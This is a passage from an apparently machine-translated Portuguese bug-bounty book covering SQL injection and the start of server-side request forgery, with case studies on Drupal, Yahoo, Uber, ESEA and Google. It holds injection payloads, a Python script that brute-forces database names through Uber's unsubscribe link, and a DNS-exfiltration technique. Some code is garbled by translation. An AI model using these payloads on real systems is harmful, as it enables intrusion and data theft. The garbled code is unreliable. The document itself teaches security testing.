anteriores ou lista de ebooks comprados em um banco de dados que você acessa quando faz login com
sua conta. Seu navegador da Web consulta o banco de dados do site e gera HTML com base nas
informações retornadas.
Vejamos um exemplo teórico do código PHP de um servidor para gerar um comando MySQL após um
usuário visitar a URL https://www.leanpub.com?name=yaworsk:
Injeção SQL 79
$nome = $_GET['nome'];
$q = "SELECT * FROM users WHERE nome = '$nome'
"; mysql_query($query);
O código usa $_GET[] para acessar o valor do nome dos parâmetros de URL especificados entre seus
colchetes e armazena o valor na variável $name. O parâmetro é então passado para a variável $q sem
qualquer limpeza. A variável $q representa a consulta a ser executada e busca todos os dados da tabela
de usuários onde a coluna de nome corresponde ao valor no parâmetro de URL de nome. A consulta é
executada passando a variável $q para a função PHP mysql_query.
O site espera que o nome contenha texto normal, mas se um usuário inserir o teste de entrada maliciosa
' OU 1='1 no parâmetro de URL como em https://www.leanpub.com?name=test' OU 1='1 , a consulta
executada é:
$query = "SELECT * FROM users WHERE nome = 'test' OR 1='1' ";
Nossa entrada maliciosa fecha a aspa simples de abertura (') após o teste de valor e adiciona o código
SQL OR 1='1 ao final da consulta. A aspa simples suspensa em OR 1='1 abre a aspa simples de
fechamento que é codificada após a entrada. Se a consulta injetada não incluísse uma aspa simples de
abertura, a aspa deslocada teria causado erros de sintaxe SQL, o que impediria a execução da consulta.
O SQL usa operadores condicionais como AND e OR. Nesse caso, o SQLi modifica a cláusula WHERE
para procurar registros onde a coluna de nome corresponda a teste ou a equação 1='1' retorne
verdadeiro. O MySQL converte trata '1' como um número inteiro e como 1 sempre é igual a 1, a condição
é verdadeira e a consulta retorna todos os registros na tabela de usuários.
No entanto, injetar test' OR 1='1 não funcionará quando outras partes da consulta forem limpas.
Por exemplo, você pode ter uma consulta como:
$nome = $_GET['nome'];
$pw = mysql_real_escape_string($_GET['senha']);
$query = "SELECT * FROM users WHERE nome = '$nome' AND pw = '$pw' ";
Neste caso, o parâmetro de senha também é controlado pelo usuário, mas devidamente higienizado
usando a função mysql_real_escape_string. Se você usar o mesmo payload, test' OR 1='1 como o nome
e sua senha for 12345, sua instrução terminará como:
$query = "SELECT * FROM users WHERE name = 'test' OR 1='1' AND pw = '12345' ";
A consulta procura todos os registros onde o nome é teste ou 1='1' e a senha é 12345 (iremos ignorar o
fato de que este banco de dados está armazenando senhas de texto simples, que é outra
Injeção SQL 80
vulnerabilidade). Como a verificação de senha usa um operador AND, nossa consulta não retornará
dados, a menos que a senha de um registro seja 12345. Isso interrompe nossa tentativa de SQLi, mas
não nos impede de tentar outro método de ataque.
Precisamos eliminar o parâmetro de senha, o que podemos fazer adicionando ;--, test' OR
1='1;--. Essa injeção realiza duas coisas: o ponto-e-vírgula (;) encerra a instrução SQL e os
dois traços (–) informam ao banco de dados que o restante do texto é um comentário. Nosso
parâmetro injetado altera a consulta para SELECT * FROM users WHERE name = 'test' OR 1='1';.
O código AND password = '12345' na instrução torna-se um comentário, portanto, o comando retorna
todos os registros da tabela. Ao usar – como comentário, lembre-se de que o MySQL requer um espaço
após os traços e a consulta restante, caso contrário, retornará erros sem executar o comando.
Contramedidas contra SQLi
Uma proteção disponível para evitar o SQLi são as instruções preparadas, que são um recurso de banco
de dados usado para executar consultas repetidas. Os detalhes específicos das instruções preparadas
estão além do escopo deste livro, mas protegem contra o SQLi porque as consultas não são mais
executadas dinamicamente. O banco de dados usa as consultas como modelos, tendo espaços
reservados para variáveis. Como resultado, mesmo quando os usuários passam dados não sanitizados
para uma consulta, a injeção não pode modificar o modelo de consulta do banco de dados, o que impede o SQLi.
Estruturas da Web como Ruby on Rails, Django, Symphony e assim por diante também oferecem
proteções integradas para ajudar a evitar o SQLi. No entanto, eles não são perfeitos e não podem impedir
a vulnerabilidade em todos os lugares. Os dois exemplos simples de SQLi que vimos geralmente não
funcionarão em sites criados com estruturas, a menos que os desenvolvedores do site não sigam as
práticas recomendadas ou não reconheçam que as proteções não foram fornecidas automaticamente.
Por exemplo, o site https://www.rails-sqli.org/ mantém uma lista de padrões SQLi comuns no Rails que
resultam de erros do desenvolvedor. Ao testar o SQLi, sua melhor aposta é procurar sites mais antigos
que pareçam estruturas da Web personalizadas ou usadas e sistemas de gerenciamento de conteúdo
que não tenham todas as proteções integradas dos sistemas atuais.
Exemplos
1. Injeção de SQL do Drupal
Dificuldade: Média
URL: Qualquer site Drupal com versão inferior a 7.32
Report Link: https://hackerone.com/reports/317561

Injeção SQL 81
Prêmio pago: $ 3.000
Descrição:
Drupal é um sistema de gerenciamento de conteúdo popular usado para construir sites, muito semelhante
ao Wordpress e Joomla. É escrito em PHP e é modular, o que significa que novas funcionalidades podem
ser adicionadas a um site Drupal instalando um módulo. A comunidade Drupal escreveu milhares e os
disponibilizou gratuitamente. Os exemplos incluem comércio eletrônico, integração de terceiros, produção
de conteúdo, etc. No entanto, cada instalação do Drupal contém o mesmo conjunto de módulos principais
usados para executar a plataforma e requer uma conexão com um banco de dados. Estes são normalmente
referidos como núcleo do Drupal.
Em 2014, a equipe de segurança do Drupal lançou uma atualização de segurança urgente para o núcleo
do Drupal, indicando que todos os sites do Drupal eram vulneráveis a uma injeção de SQL que poderia ser
realizada por usuários anônimos. O impacto da vulnerabilidade pode permitir que um invasor assuma
qualquer site Drupal que não tenha sido atualizado.
Em termos de vulnerabilidade, Stefan Horst descobriu que os desenvolvedores do Drupal implementaram

incorretamente a funcionalidade wrapper para consultas de banco de dados que podem ser abusadas por
invasores. Mais especificamente, Drupal estava usando PHP Data Objects (PDO) como uma interface para
acessar o banco de dados. Os desenvolvedores principais do Drupal escreveram um código que chamava
essas funções PDO e esse código Drupal deveria ser usado sempre que outros desenvolvedores
estivessem escrevendo código para interagir com um banco de dados Drupal. Esta é uma prática comum
no desenvolvimento de software. A razão para isso era permitir que o Drupal fosse usado com diferentes
tipos de bancos de dados (MySQL, Postgres, etc.), remover a complexidade e fornecer padronização.
Agora, dito isso, Stefan descobriu que o código wrapper do Drupal fazia uma suposição incorreta sobre
dados de matriz sendo passados para uma consulta SQL. Aqui está o código original:
foreach ($data as $i => $value)

{ [...] $new_keys[$key . '_' . $i] =
$valor; }
Você consegue identificar o erro (eu não teria conseguido)? Os desenvolvedores assumiram que os dados
do array sempre conteriam chaves numéricas, como 0, 1, 2, etc. (o valor $i) e então eles juntaram a variável
$key ao $i e fizeram isso igual ao valor. Veja como seria uma consulta típica da função db_query do Drupal:
Injeção SQL 82
db_query("SELECT * FROM {usuários} WHERE nome IN (:nome)",

array(':nome'=>array('usuário1'\ ,'usuário2')));
Aqui, a função db_query usa uma consulta de banco de dados SELECT * FROM {users} onde
nome IN (:name) e uma matriz de valores para substituir os espaços reservados na consulta.
Em PHP, quando você declara um array como array('value', 'value2', 'value3'), ele na verdade cria
[0 ÿ 'value', 1 ÿ 'value2', 2 ÿ 'value3'] onde cada valor é acessível pela tecla numérica.
Portanto, neste caso, a variável :name foi substituída por valores no array [0 ÿ 'user1', 1 ÿ 'user2'].
O que você obteria com isso é:
SELECT * FROM usuários WHERE nome IN (:nome_0, :nome_1)
Tudo bem até agora. O problema surge quando você obtém uma matriz que não possui chaves
numéricas, como a seguir:
db_query("SELECT * FROM {users} where name IN (:name)",

'
array(':name'=>array('test) -- => 'user1','test' => 'user2')));
Neste caso, :name é um array e suas chaves são 'test) –', 'test'. você pode ver onde isso vai dar?
Quando o Drupal recebeu isso e processou a matriz para criar a consulta, o que obteríamos é:
SELECT * FROM users WHERE nome IN (:name_test) -- , :name_test)
Pode ser complicado entender por que isso acontece, então vamos examinar isso. Com base no
foreach descrito acima, o Drupal passaria por cada elemento do array, um por um. Então, para a
primeira iteração $i = test) – e $value = user1. Agora, $key é (:name) da consulta e combinando
com $i, obtemos name_test) –. Para a segunda iteração, $i = test e $value = user2.
Assim, combinando $key com $i, obtemos name_test. O resultado é um espaço reservado
com :name_test que é igual a user2.
Agora, com tudo isso dito, o fato de que o Drupal estava envolvendo os objetos PHP PDO entra em
jogo porque o PDO permite várias consultas. Portanto, um invasor pode passar uma entrada
maliciosa, como uma consulta SQL real para criar um usuário administrador para uma chave de
matriz, que é interpretada e executada como várias consultas.
Aprendizado
Este exemplo foi interessante porque não se tratava de enviar uma única citação e
quebrar uma consulta. Em vez disso, tratava-se de como o código do Drupal estava
lidando com arrays passados para funções internas. Isso não é fácil de detectar com
o teste de caixa preta (onde você não tem acesso para ver o código). A conclusão
disso é estar atento a oportunidades para alterar a estrutura da entrada passada para
um site. Então, onde uma URL leva ?name como parâmetro, tente passar um array
como ?name[] para ver como o site lida com isso. Pode não resultar em SQLi, mas
pode levar a outro comportamento interessante.
Injeção SQL 83
2. Yahoo Sports Blind SQL
Dificuldade: Média
URL: sports.yahoo.com
Link da denúncia: esevece tumblr2
Data do relatório: 16 de fevereiro de 2014
Descrição:
De acordo com seu blog, Stefano encontrou uma vulnerabilidade SQLi graças ao parâmetro year em http://
sports.yahoo.com/nfl/draft?year=2010&type=20&round=2. De sua postagem, aqui está um exemplo de uma
resposta válida para o URL:
Resposta válida do Yahoo
Agora, curiosamente, quando Stefano adicionou dois traços, –, à consulta. Os resultados mudaram:
2https://esevece.tumblr.com
Injeção SQL 84
Resposta válida do Yahoo
A razão para isso é que eles atuam como comentários na consulta, conforme detalhei acima. Então, onde a
consulta original do Yahoo poderia ser algo como:
SELECIONE * DE JOGADORES ONDE ANO = 2010 E TIPO = 20 E RODADA = 2;
Ao inserir os traços, Stefano essencialmente fez com que funcionasse como:
SELECIONE * DE JOGADORES ONDE ANO = 2010;
Reconhecendo isso, foi possível começar a extrair informações do banco de dados do Yahoo.
Por exemplo, Stefano conseguiu verificar o número da versão principal do software de banco de dados com o
seguinte:
85
Injeção SQL
Versão do banco de dados do Yahoo
Usando a função IF, os jogadores seriam retornados se o primeiro caractere da função version() fosse 5. A
função IF pega uma condição e retornará o valor depois dela se a condição for verdadeira e o último parâmetro
se for falso. Então, com base na foto acima, a condição era o primeiro personagem da versão. Como resultado,
sabemos que a versão do banco de dados não é 5, pois nenhum resultado é retornado (certifique-se de verificar
a folha de dicas do MySQL na página Recursos para obter funcionalidades adicionais ao testar o SQLi).
A razão pela qual isso é considerado um SQLi cego é porque Stefano não pode ver os resultados diretos; ele
não pode simplesmente imprimir a versão do banco de dados, já que o Yahoo está apenas retornando jogadores.
No entanto, ao manipular a consulta e comparar os resultados com o resultado da consulta de linha de base (a
primeira imagem), ele poderia continuar extraindo informações do banco de dados do Yahoo.
Aprendizado
O SQLi, como outras vulnerabilidades de injeção, não é muito difícil de explorar. A chave é
testar os parâmetros que podem ser vulneráveis. Nesse caso, adicionar o traço duplo
alterou claramente os resultados da consulta de linha de base de Stefano, que revelou o SQLi.
Ao procurar por vulnerabilidades semelhantes, fique atento a mudanças sutis nos resultados,
pois elas podem ser indicativas de uma vulnerabilidade cega do SQLi.
Injeção SQL 86
3. Uber Blind SQLi

Dificuldade: Média
URL: http://sctrack.email.uber.com.cn/track/unsubscribe.do
Data do relatório: 18 de julho de 2016
Descrição:
Além das páginas da Web, as injeções cegas de SQL podem ser obtidas por meio de outras rotas, como links
de e-mail. Em julho de 2016, Orange Tsai recebeu um anúncio por e-mail da Uber. Ele notou que o link de
cancelamento de assinatura incluía uma string codificada em base64 como um parâmetro de URL.
O link ficou assim:
http://sctrack.email.uber.com.cn/track/unsubscribe.do?
p=eyJ1c2VyX2lkIjogIjU3NTUiLCAi\cmVjZWl2ZXIiOiAib3JhbmdlQG15bWFpbCJ9
A decodificação do valor do parâmetro p eyJ1c2VyX2lkIjogIjU3NTUiLCAi usando base64 retorna a string JSON

{"user_id": "5755", "receiver": "orange@mymail"}. Depois que Orange teve a string decodificada, ele adicionou
o código e sleep(12) = 1 ao parâmetro de URL p codificado, que é uma injeção inofensiva projetada para fazer
com que o banco de dados demore mais para responder à ação de cancelamento de assinatura {"user_id":
"5755 e sleep(12)=1", "receptor": "orange@meumail"}. Se um site for vulnerável, a execução da consulta avalia
sleep(12) e não executa nenhuma ação por 12 segundos antes de comparar a saída do comando sleep com 1.
No MySQL, o comando sleep normalmente retorna 0, então essa comparação falhará, mas isso não importa,
pois a execução levará pelo menos 12 segundos.
Depois que Orange codificou novamente a carga útil modificada e passou a carga útil para o parâmetro de URL,
ele visitou o link de cancelamento de assinatura para confirmar que a resposta HTTP levou pelo menos 12
segundos. No entanto, Orange decidiu que precisava de uma prova mais concreta do SQLi para enviar ao Uber,
então decidiu despejar o nome do usuário, o nome do host e o nome do banco de dados usando força bruta,
pois demonstrou a capacidade de extrair informações de um SQLi sem acessar dados confidenciais.
O SQL tem uma função chamada user que retorna o nome do usuário e o nome do host de um banco de dados
no formato <user>@<host>. Como Orange não conseguiu acessar a saída de suas consultas injetadas, ele não
pôde simplesmente chamar o usuário. Em vez disso, Orange modificou sua consulta para adicionar uma
verificação condicional quando a consulta pesquisou seu ID de usuário, comparando um caractere do nome de
usuário do banco de dados e a string do nome do host por vez usando a função mid. Semelhante
Injeção SQL 87
para o Yahoo Sports blind SQLi do relatório de bug anterior, Orange usou uma instrução de comparação
para derivar cada caractere do nome de usuário e string de nome de host.
Por exemplo, para encontrar um nome de usuário e um nome de host usando uma instrução de comparação
e força bruta, Orange pegou o primeiro caractere do valor retornado da função de usuário usando a função
mid e comparou se o caractere era igual a 'a' e depois ' b', depois 'c', e assim por diante. Se a instrução de
comparação fosse verdadeira, o servidor executaria o comando unsubscribe indicando que o primeiro
caractere do valor de retorno da função do usuário é igual ao caractere com o qual está sendo comparado.
Caso contrário, se a declaração for falsa, o servidor não tentará cancelá-lo. Ao verificar cada caractere do
valor de retorno da função do usuário com esse método, Orange poderia eventualmente derivar o nome de
usuário e o nome do host inteiros.
A força bruta manual de uma string levaria tempo, então Orange criou um script Python que criaria e enviaria
cargas úteis para o Uber em seu nome da seguinte maneira:
importar strings
de importação json
solicitações de importação
from urllib import quote

from base64 import b64encode
base = string.digits + string.letters + '_-@.'
payload = {"user_id": 5755, "receiver": "blog.orange.tw"} for l
in range(0, 30): for i in base:
payload['user_id'] = "5755 and mid(user(),%d,1)='%c'#"%(l+1, i)

new_payload = json.dumps(payload) new_payload =
b64encode(new_payload) r = requests.get('http://
sctrack.email.uber.com.cn/track/unsubscribe.do?p='+\ quote(new_payload)) if
len(r.content)>0: print i, parar
O código Python começa com cinco linhas de instruções de importação que recuperam as bibliotecas de
que a Orange precisa para processar solicitações HTTP, JSON e codificações de string.
Um nome de usuário de banco de dados e nome de host podem ser compostos de qualquer combinação de
letras maiúsculas, letras minúsculas, números, hífens (-), sublinhados (_), arrobas (@) ou pontos (.). Orange
cria a variável base para conter esses caracteres. Em seguida, ele cria uma variável para conter a carga útil
que o script envia ao servidor. A primeira linha dentro do for i na base é a injeção real, que é construída
usando os loops for.
Injeção SQL 88
Vou orientá-lo através do código. Orange referencia seu ID de usuário, 5755, com a string user_id conforme
definido na variável de carga útil para criar suas cargas úteis. Ele usa a função mid e o processamento de
strings para construir uma carga semelhante ao bug do Yahoo deste capítulo. O %d e %c na carga útil são
espaços reservados de substituição de cadeia de caracteres. O %d é usado para dados que representam um
dígito e o %c para dados de caracteres.
A string de carga útil começa com aspas duplas (“) e termina no segundo par de aspas duplas antes do terceiro
símbolo de porcentagem. O terceiro símbolo de porcentagem diz ao Python para substituir os espaços
reservados %d e %c pelos valores que seguem o símbolo de porcentagem entre parênteses. Isso significa
que o código substitui %d por l+1 (a variável l mais o número 1) e %c pela variável i. O hash (#) é outra forma
de comentar no MySQL e renderiza qualquer parte da consulta após a injeção de Orange em um comentário.
As variáveis l e i são os iteradores de loop. Na primeira vez que inserirmos l no intervalo (0,30), l será 0. O
valor de l é a posição na string do nome do usuário e do nome do host retornada pela função do usuário que
o script está tentando aplicar força bruta. Uma vez que o script tenha uma posição na string de nome de
usuário e nome de host que está testando, inserimos um loop aninhado que itera sobre cada caractere na
string base. Na primeira vez que o script for iterado em ambos os loops, l será 0 e i será a. Esses valores são
passados para a função mid para criar a carga útil "5755 and mid(user(),0,1)='a'#".
Na próxima iteração do loop for aninhado, o valor de l ainda será 0 e i será b para criar a carga útil "5755 e
mid(user(),0,1)='b'#". A posição l permanecerá constante à medida que o loop for iterado por cada caractere
na base para criar a carga útil.
Cada vez que uma nova carga é criada, o código converte a carga em JSON, recodifica a string usando a
função base64encode e envia a solicitação HTTP para o servidor.
O código verifica se o servidor responde com uma mensagem. Se o caractere em i corresponder à substring
de nome de usuário na posição que está sendo testada, o script para de testar os caracteres nessa posição e
passa para a próxima posição na string de usuário. O loop aninhado é interrompido e retorna ao loop, que
incrementa l em 1 para testar a próxima posição da string de nome de usuário.
Essa prova de conceito permitiu à Orange confirmar que o nome do usuário do banco de dados e o nome do
host eram sendcloud_w@10.9.79.210 e o nome do banco de dados era sendcloud (para obter o nome do
banco de dados, substitua user por database). Em resposta ao relatório, o Uber confirmou que a injeção de
SQL não ocorreu em seu servidor. A injeção ocorreu em um terceiro que o Uber estava usando, mas eles
ainda pagaram uma recompensa. Nem todos os programas de recompensa farão o mesmo se um serviço
vulnerável não for deles. A Uber provavelmente pagou uma recompensa porque a exploração permitiria que
um invasor despejasse todos os endereços de e-mail dos clientes da Uber do banco de dados sendcloud.
Embora você possa escrever seus próprios scripts como a Orange fez para despejar informações do banco
de dados de um site vulnerável, você também pode usar ferramentas automatizadas. O capítulo Recursos
deste livro inclui informações sobre o SQLMap, uma dessas ferramentas.
Injeção SQL 89
Aprendizado
Fique atento às solicitações HTTP que aceitam parâmetros codificados. Depois de decodificar e
injetar sua consulta em uma solicitação, certifique-se de recodificar sua carga útil para que tudo
ainda corresponda à codificação que o banco de dados está esperando.
Extrair um nome de banco de dados, nome de usuário e nome de host geralmente é considerado
inofensivo, mas certifique-se de que esteja dentro das ações permitidas do programa de
recompensas em que você está trabalhando. Em alguns casos, o comando sleep é suficiente para
uma prova de conceito.
Resumo
O SQLi pode ser uma vulnerabilidade significativa e perigosa para um site. Se um invasor
encontrar um SQLi, poderá obter permissões totais para um site. Em algumas situações, um
SQLi pode ser escalado inserindo dados no banco de dados que habilitam permissões
administrativas no site, como no exemplo do Drupal. Ao procurar vulnerabilidades do SQLi,
fique atento aos locais onde você pode passar aspas simples ou duplas sem escape para uma
consulta. Quando você encontra uma vulnerabilidade, as indicações de que a vulnerabilidade
existe podem ser sutis, como com injeções cegas. Você também deve procurar locais onde
possa passar dados para um site de maneiras inesperadas, como locais onde possa substituir
parâmetros de matriz em dados de solicitação, como no bug do Uber.
12. Falsificação de solicitação do lado do servidor
Descrição
A falsificação de solicitação do lado do servidor, ou SSRF, é uma vulnerabilidade em que um invasor pode fazer
com que um servidor execute solicitações de rede não intencionais. Os SSRFs são semelhantes aos CSRF com
uma diferença notável. Enquanto a vítima de um ataque CSRF é um usuário, a vítima do SSRF é o próprio site.
Assim como o CSRF, as vulnerabilidades do SSRF podem variar em impacto e métodos de execução. Neste
livro, vamos nos concentrar nas solicitações HTTP, mas o SSRF também pode explorar outros tipos de protocolos.
Localização da solicitação HTTP
Dependendo de como o site está organizado, um servidor vulnerável ao SSRF pode fazer uma solicitação HTTP
para uma rede interna ou para endereços externos. A capacidade do servidor vulnerável de fazer solicitações
determinará o que você pode fazer com o SSRF.
Alguns sites maiores têm firewalls que proíbem o tráfego externo da Internet de acessar servidores internos, por
exemplo, o site terá um número limitado de servidores públicos que recebem solicitações HTTP de visitantes e
enviam solicitações para outros servidores inacessíveis publicamente. Um exemplo comum disso são os
servidores de banco de dados, que muitas vezes são inacessíveis à Internet. Ao fazer login em um site como
este, você pode enviar um nome de usuário e senha por meio de um formulário da web comum. O site receberá
sua solicitação HTTP e executará sua própria solicitação para o servidor de banco de dados com suas credenciais,
em seguida, o servidor de banco de dados responderá ao servidor de aplicativos da web e o servidor de
aplicativos da web retransmitirá as informações para você. Durante esse processo, muitas vezes você não sabe
que o servidor de banco de dados remoto existe e não deve ter acesso direto ao banco de dados.
Servidores vulneráveis que permitem que invasores controlem solicitações para servidores internos podem expor
informações privadas. Por exemplo, um SSRF no exemplo de banco de dados anterior pode permitir que um
invasor envie solicitações ao servidor de banco de dados e recupere informações às quais não deveria ter
acesso. As vulnerabilidades do SSRF fornecem aos invasores acesso a uma rede mais ampla para atingir.
Se você encontrar um SSRF, mas o site vulnerável não tiver servidores internos ou eles não estiverem acessíveis
por meio da vulnerabilidade, a próxima melhor coisa a verificar é se você pode executar solicitações para sites
externos arbitrários a partir do servidor vulnerável. Se o servidor de destino puder ser explorado para se
comunicar com um servidor que você controla, você pode usar o
Falsificação de solicitação do lado do servidor 91
solicitou informações dele para saber mais sobre o software que está sendo usado e você pode controlar a
resposta a ele.
Por exemplo, você pode converter solicitações externas em solicitações internas se o servidor vulnerável
seguir os redirecionamentos, um truque que Justin Kennedy (@jstnkndy) me indicou. Nos casos em que um
site não permitirá acesso a IPs internos, mas entrará em contato com sites externos, você pode retornar uma
resposta HTTP com um código de status 301, que é um redirecionamento. Como você controla a resposta,
pode apontar o redirecionamento para um endereço IP interno para testar se o servidor seguirá o 301 e fará
uma solicitação HTTP para sua rede interna.
A situação menos empolgante é quando uma vulnerabilidade do SSRF permite que você se comunique
apenas com um número limitado de sites externos. Nesses casos, você pode aproveitar uma lista negra
configurada incorretamente. Por exemplo, se um site se destina a se comunicar externamente com
leanpub.com, mas valida apenas que o URL fornecido termina em leanpub.com, um invasor pode registrar
attackerleanpub.com. Isso permitiria que um invasor controlasse uma resposta de volta ao site da vítima.
Invocando solicitações GET versus POST
Depois de confirmar que um SSRF pode ser enviado, você deve confirmar que tipo de método HTTP pode
ser invocado para explorar o site: GET ou POST. As solicitações POST podem ser mais significativas porque
podem invocar o comportamento de mudança de estado se os parâmetros POST puderem ser controlados.
O comportamento de mudança de estado pode ser criar contas de usuário, invocar comandos do sistema ou
executar código arbitrário, dependendo do que o servidor pode se comunicar. As solicitações GET, por outro
lado, são frequentemente associadas à exfiltração de dados.
SSRFs cegos
Depois de confirmar onde e como você pode fazer uma solicitação, a próxima coisa a considerar é se você
pode acessar a resposta de uma solicitação. Quando você não consegue acessar uma resposta, você tem
um SSRF cego. Por exemplo, um invasor pode ter acesso a uma rede interna por meio do SSRF, mas não
pode ler as respostas HTTP às solicitações do servidor interno. Como o invasor não pode ler as respostas,
ele precisará encontrar um meio alternativo de extrair informações. Existem duas maneiras comuns de fazer
isso: temporização e DNS.
Em alguns SSRFs cegos, os tempos de resposta podem revelar informações sobre os servidores com os
quais está interagindo. Uma maneira de explorar isso é verificar a porta de servidores inacessíveis. As portas
fornecem a capacidade de passar informações para dentro e para fora de um servidor. Você verifica as
portas em um servidor enviando uma solicitação e verificando se elas respondem. Por exemplo, se você
estiver explorando um SSRF para uma rede interna por varredura de porta desses servidores, uma resposta
que retorna em 1 segundo versus 10 segundos pode indicar se está aberta, fechada ou filtrada, dependendo
de como as portas conhecidas (como 80 ou 443) respondem . As portas filtradas são como um buraco negro
de comunicação. Eles não respondem aos pedidos, então você nunca saberá se eles estão abertos ou fechados. Dentro
por outro lado, uma resposta rápida pode significar que o servidor está aberto e aceitando
comunicação ou fechado e não aceitando comunicação. Ao explorar SSRF para varredura de
porta, você deve tentar conectar-se a portas comuns como 22 (usado para SSH), 80 (HTTP),
443 (HTTPS), 8080 (HTTP alternativo) e 8443 (HTTPS alternativo) para confirmar se as respostas
diferem e quais informações você pode deduzir disso.
DNS é usado como um mapa para a internet. Se você conseguir invocar solicitações de DNS
usando os sistemas internos e controlar o endereço da solicitação, incluindo o subdomínio,
poderá contrabandear informações de outras vulnerabilidades SSRF cegas. Para explorar isso,
você anexa as informações contrabandeadas como um subdomínio ao seu próprio domínio e o
servidor de destino executa uma pesquisa de DNS em seu site para esse subdomínio. Por
exemplo, se você encontrar um SSRF cego e for capaz de executar comandos limitados em um
servidor, mas não ler nenhuma resposta, se puder invocar pesquisas de DNS enquanto controla
o domínio de pesquisa, usando o comando whoami e adicionando sua saída como um subdomínio
enviaria uma solicitação ao seu servidor, seu servidor receberá uma pesquisa de DNS para
data.yourdomain.com, onde os dados são a saída do comando whoami do servidor vulnerável .
Aproveitando o SSRF
Quando você não consegue atingir os sistemas internos, pode tentar explorar os SSRFs que
afetam os usuários. Se seu SSRF não for cego, uma maneira de fazer isso é retornar uma carga
XSS para a solicitação SSRF, que é executada no site vulnerável. As cargas úteis XSS
armazenadas são especialmente significativas se forem facilmente acessadas por outros
usuários, pois você pode explorá-las para atacá-las. Por exemplo, suponha que www.leanpub.com
tenha aceitado um URL para buscar uma imagem para sua imagem de perfil, www.leanpub.com/
. picture?url= Você poderia enviar um URL para seu próprio site que retornasse uma página
HTML com uma carga XSS , www.leanpub.com/picture?url=attacker.com/xss. Se www.leanpub.com
salvasse o HTML e o renderizasse para a imagem, haveria uma vulnerabilidade XSS armazenada.
No entanto, se o Leanpub renderizou o HTML com o XSS, mas não o salvou, você pode testar
se eles impediram o CSRF para essa ação. Caso contrário, você poderia compartilhar a URL,
www.leanpub.com/picture?url=attacker.com/xss com um alvo e se eles visitassem o link, o XSS
dispararia como resultado do SSRF para o seu site .
Ao procurar vulnerabilidades SSRF, fique atento às oportunidades em que você pode enviar uma
URL ou endereço IP como parte de alguma funcionalidade do site e considere como você pode
aproveitar o comportamento para se comunicar com sistemas internos ou combinar isso com
algum outro tipo de comportamento malicioso.
Exemplos
1. ESEA SSRF e consulta de metadados da AWS
Dificuldade: média
URL: https://play.esea.net/global/media_preview.php?url=
Link do relatório: http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-query ing-aws-meta-data/1
Descrição:
A E-Sports Entertainment Association (ESEA) é uma comunidade de videogames competitivos de e-sports fundada
pela E-Sports Entertainment Association (ESEA). Recentemente, eles iniciaram um programa de recompensas de
bugs, no qual Brett Buerhaus encontrou uma bela vulnerabilidade SSRF.
Usando o Google Dorking, Brett pesquisou site: https://play.esea.net/ ext:php. Isso aproveita o Google para
pesquisar o domínio de play.esea.net para arquivos PHP. Os resultados da consulta incluíram https://play.esea.net/
global/media_preview.php?url=.
Olhando para a URL, parece que a ESEA pode estar renderizando conteúdo de sites externos. Esta é uma bandeira
vermelha ao procurar SSRF. Conforme ele descreveu, Brett tentou seu próprio domínio: https://play.esea.net/global/
media_preview.php?url=http://ziot.org. Mas sem sorte. Acontece que esea estava procurando por arquivos de
imagem, então ele tentou uma carga útil incluindo uma imagem, primeiro usando o Google como domínio, depois o
seu próprio, https://play.esea.net/global/media_- preview.php?url=http ://ziot.org/1.png.
Sucesso.
Agora, a vulnerabilidade real aqui está em enganar um servidor para renderizar conteúdo diferente das imagens
pretendidas. Em seu post, Brett detalha truques típicos como usar um byte nulo (%00), barras adicionais e pontos de
interrogação para contornar ou enganar o back-end. No caso dele, ele adicionou um ? para o url: https://play.esea.net/
global/media_pre view.php?url=http://ziot.org/?1.png.
O que isso faz é converter o caminho do arquivo anterior, 1.png para um parâmetro e não parte do URL real que está
sendo renderizado. Como resultado, a ESEA renderizou sua página da web. Em outras palavras, ele ignorou a
verificação de extensão do primeiro teste.
Agora, aqui, você pode tentar executar uma carga XSS, como ele descreve. Basta criar uma página HTML simples
com Javascript, fazer o site renderizá-la e pronto. Mas ele foi mais longe.
1http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/
Com informações de Ben Sadeghipour (lembre-se dele na entrevista número 1 do Hacking Pro Tips no meu
canal do YouTube), ele testou a consulta de metadados de instância do AWS EC2.
EC2 é o Elastic Compute Cloud da Amazon, ou servidores em nuvem. Eles fornecem a capacidade de consultar
a si mesmos, por meio de seu IP, para extrair metadados sobre a instância. Esse privilégio está obviamente
bloqueado para a própria instância, mas como Brett tinha a capacidade de controlar de onde o servidor estava
carregando o conteúdo, ele poderia fazer com que ele fizesse a chamada para si mesmo e extraísse os metadados.
A documentação do ec2 está aqui: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2- instance-metadata.html.

Há algumas informações bastante sensíveis que você pode pegar.
Aprendizado
O Google Dorking é uma ótima ferramenta que economizará seu tempo ao expor todos
os tipos de exploits possíveis. Se você estiver procurando por vulnerabilidades SSRF,
fique atento a quaisquer urls de destino que pareçam estar puxando conteúdo remoto.
Nesse caso, foi o url= que deu o prêmio.
Em segundo lugar, não fuja com o primeiro pensamento que tiver. Brett poderia ter
relatado a carga XSS que não teria sido tão impactante. Ao cavar um pouco mais fundo,
ele foi capaz de expor o verdadeiro potencial dessa vulnerabilidade. Mas ao fazer isso,
tome cuidado para não ultrapassar.
2. DNS SSRF interno do Google
Dificuldade: média
URL: https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-inform ation/
Link do relatório: https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal dns-information/2
Data do relatório: janeiro de 2017
Prêmio pago: não divulgado
Descrição:
O Google fornece o site https://toolbox.googleapps.com para que os usuários depurem os problemas que estão
tendo com os serviços G Suite do Google. As ferramentas incluem depuração do navegador, analisadores de
log e pesquisas relacionadas ao DNS. Foram as ferramentas de DNS que chamaram a atenção de Julien
Ahrens ao navegar no site em busca de vulnerabilidades (muito obrigado a ele por permitir a inclusão dessa
vulnerabilidade no livro e o uso das imagens que ele capturou).
2https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-information/
Como parte das ferramentas de DNS do Google, elas incluem uma chamada 'Dig'. Isso funciona muito como o comando dig do Unix
para consultar servidores de nome de domínio para obter informações de DNS do site. Esta é a informação que mapeia um
endereço IP para um domínio legível como www.google.com. No momento da descoberta, o Google incluiu dois campos de entrada,
um para o URL e outro para o servidor de nome de domínio, conforme mostrado aqui, cortesia de Julien.
Interface do Google Toolbox
Foi o campo “Servidor de nomes” que chamou a atenção de Julien porque permitia aos usuários especificar um endereço IP para
